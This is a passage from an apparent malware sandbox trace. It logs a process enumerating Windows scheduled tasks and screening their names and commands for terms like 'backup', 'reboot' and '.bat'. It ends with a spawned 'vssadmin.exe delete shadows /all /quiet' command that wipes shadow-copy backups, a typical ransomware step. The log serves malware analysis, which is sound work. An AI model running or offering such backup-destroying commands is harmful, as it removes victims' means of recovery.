(This=0x2463788) returned 0x1 [0221.564] IUnknown:Release (This=0x2466490) returned 0x1 [0221.564] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.564] IUnknown:Release (This=0x2466448) returned 0x0 [0221.564] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.564] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.565] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.565] IUnknown:Release (This=0x2466400) returned 0x0 [0221.565] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.565] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.565] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.565] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.565] IUnknown:Release (This=0x2463648) returned 0x0 [0221.565] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.566] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.566] IUnknown:Release (This=0x2466400) returned 0x0 [0221.566] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.566] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.566] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.566] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.567] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.567] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SynchronizeTime") returned 0x0 [0221.567] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.568] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3de0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0221.568] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0221.568] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3de0) returned 1 [0221.568] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.574] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466448) returned 0x0 [0221.574] IActionCollection:get_Count (in: This=0x2466448, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.574] IActionCollection:get_Item (in: This=0x2466448, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.574] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.574] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0221.574] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\sc.exe") returned 0x0 [0221.574] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0221.574] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0221.574] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.574] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="start w32time task_started") returned 0x0 [0221.574] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c9c90 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0221.574] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0221.574] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.574] IUnknown:Release (This=0x2463708) returned 0x2 [0221.574] IUnknown:Release (This=0x2463708) returned 0x1 [0221.574] IUnknown:Release (This=0x2466448) returned 0x1 [0221.574] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.575] IUnknown:Release (This=0x2466400) returned 0x0 [0221.575] IUnknown:Release (This=0x2463648) returned 0x0 [0221.575] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.575] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.575] IUnknown:Release (This=0x2466400) returned 0x0 [0221.575] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.575] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.575] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.576] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.576] IUnknown:Release (This=0x2463648) returned 0x0 [0221.576] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.576] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.576] IUnknown:Release (This=0x2466400) returned 0x0 [0221.576] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.576] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.576] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.577] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.577] IUnknown:Release (This=0x2463648) returned 0x0 [0221.577] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.577] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.577] IUnknown:Release (This=0x2466400) returned 0x0 [0221.577] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.577] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.577] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.578] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.578] IUnknown:Release (This=0x2463648) returned 0x0 [0221.578] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.578] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.578] IUnknown:Release (This=0x2466400) returned 0x0 [0221.578] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.578] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.578] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.580] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.580] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.580] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="QueueReporting") returned 0x0 [0221.580] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.582] IUnknown:Release (This=0x2466400) returned 0x0 [0221.582] IUnknown:Release (This=0x2463648) returned 0x0 [0221.582] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.582] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.582] IUnknown:Release (This=0x2466400) returned 0x0 [0221.582] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.582] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.582] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.583] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.583] IUnknown:Release (This=0x2463648) returned 0x0 [0221.583] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.583] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.583] IUnknown:Release (This=0x2466400) returned 0x0 [0221.583] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.583] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.583] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.584] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.584] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.584] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateLibrary") returned 0x0 [0221.584] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3cc8 [0221.585] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr="logoff") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0221.585] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0221.586] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3cc8) returned 1 [0221.586] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.590] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466448) returned 0x0 [0221.590] IActionCollection:get_Count (in: This=0x2466448, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.590] IActionCollection:get_Item (in: This=0x2466448, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.590] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.590] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.590] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0221.590] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x66) returned 0x79d9e8 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0221.591] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0221.591] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x79d9e8) returned 1 [0221.591] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0221.591] IUnknown:Release (This=0x2463748) returned 0x2 [0221.591] IUnknown:Release (This=0x2463748) returned 0x1 [0221.591] IUnknown:Release (This=0x2466448) returned 0x1 [0221.591] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.591] IUnknown:Release (This=0x2466400) returned 0x0 [0221.591] IUnknown:Release (This=0x2463648) returned 0x0 [0221.591] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.592] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.592] IUnknown:Release (This=0x2466400) returned 0x0 [0221.592] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.592] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.592] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.592] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.592] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.592] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigNotification") returned 0x0 [0221.592] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.594] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0221.594] wcsstr (_Str="confignotification", _SubStr="reboot") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr="restart") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr="shutdown") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr="logoff") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr=".bat") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr="backup") returned 0x0 [0221.594] wcsstr (_Str="confignotification", _SubStr=".cmd") returned 0x0 [0221.594] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.594] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.600] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466448) returned 0x0 [0221.600] IActionCollection:get_Count (in: This=0x2466448, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.600] IActionCollection:get_Item (in: This=0x2466448, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.600] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.600] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.600] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%systemroot%\\System32\\sdclt.exe") returned 0x0 [0221.600] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c29c8 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="reboot") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="restart") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="shutdown") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="logoff") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".bat") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="backup") returned 0x0 [0221.600] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".cmd") returned 0x0 [0221.600] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c29c8) returned 1 [0221.601] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/CONFIGNOTIFICATION") returned 0x0 [0221.601] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0221.601] wcsstr (_Str="/confignotification", _SubStr="reboot") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr="restart") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr="shutdown") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr="logoff") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr=".bat") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr="backup") returned 0x0 [0221.601] wcsstr (_Str="/confignotification", _SubStr=".cmd") returned 0x0 [0221.601] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.601] IUnknown:Release (This=0x2463748) returned 0x2 [0221.601] IUnknown:Release (This=0x2463748) returned 0x1 [0221.601] IUnknown:Release (This=0x2466448) returned 0x1 [0221.601] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.601] IUnknown:Release (This=0x2466400) returned 0x0 [0221.601] IUnknown:Release (This=0x2463648) returned 0x0 [0221.601] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.601] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.601] IUnknown:Release (This=0x2466400) returned 0x0 [0221.601] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.601] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.602] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.602] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.602] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.602] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Calibration Loader") returned 0x0 [0221.602] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.603] IUnknown:Release (This=0x2466400) returned 0x0 [0221.603] IUnknown:Release (This=0x2463648) returned 0x0 [0221.604] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.604] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.604] IUnknown:Release (This=0x2466400) returned 0x0 [0221.604] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.604] IUnknown:Release (This=0x2464e30) returned 0x0 [0221.604] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0221.604] ITaskFolderCollection:get_Item (in: This=0x2461f18, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x24600f0) returned 0x0 [0221.604] ITaskFolder:GetTasks (in: This=0x24600f0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x24636c8) returned 0x0 [0221.605] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0221.605] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.605] ITaskFolder:GetFolders (in: This=0x24600f0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x2466400) returned 0x0 [0221.605] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=0) returned 0x0 [0221.605] IUnknown:Release (This=0x2466400) returned 0x0 [0221.605] TaskScheduler:IUnknown:Release (This=0x24600f0) returned 0x0 [0221.605] IUnknown:Release (This=0x2461f18) returned 0x0 [0221.605] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0221.605] ITaskFolderCollection:get_Item (in: This=0x2461ed0, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x24600c0) returned 0x0 [0221.605] ITaskFolder:GetTasks (in: This=0x24600c0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x2463648) returned 0x0 [0221.605] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0221.606] IUnknown:Release (This=0x2463648) returned 0x0 [0221.606] ITaskFolder:GetFolders (in: This=0x24600c0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x2466400) returned 0x0 [0221.606] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa98 | out: pCount=0x5cfa98*=0) returned 0x0 [0221.606] IUnknown:Release (This=0x2466400) returned 0x0 [0221.606] TaskScheduler:IUnknown:Release (This=0x24600c0) returned 0x0 [0221.606] IUnknown:Release (This=0x2461ed0) returned 0x0 [0221.606] TaskScheduler:IUnknown:Release (This=0x2460090) returned 0x0 [0221.606] TaskScheduler:IUnknown:Release (This=0x2460a68) returned 0x0 [0221.606] CoUninitialize () [0221.611] Sleep (dwMilliseconds=0xea60) Thread: id = 4732 os_tid = 0x1290 Thread: id = 4761 os_tid = 0x19d8 Process: id = "13" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x720cb000" os_pid = "0x724" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x6fc" cmd_line = "C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = 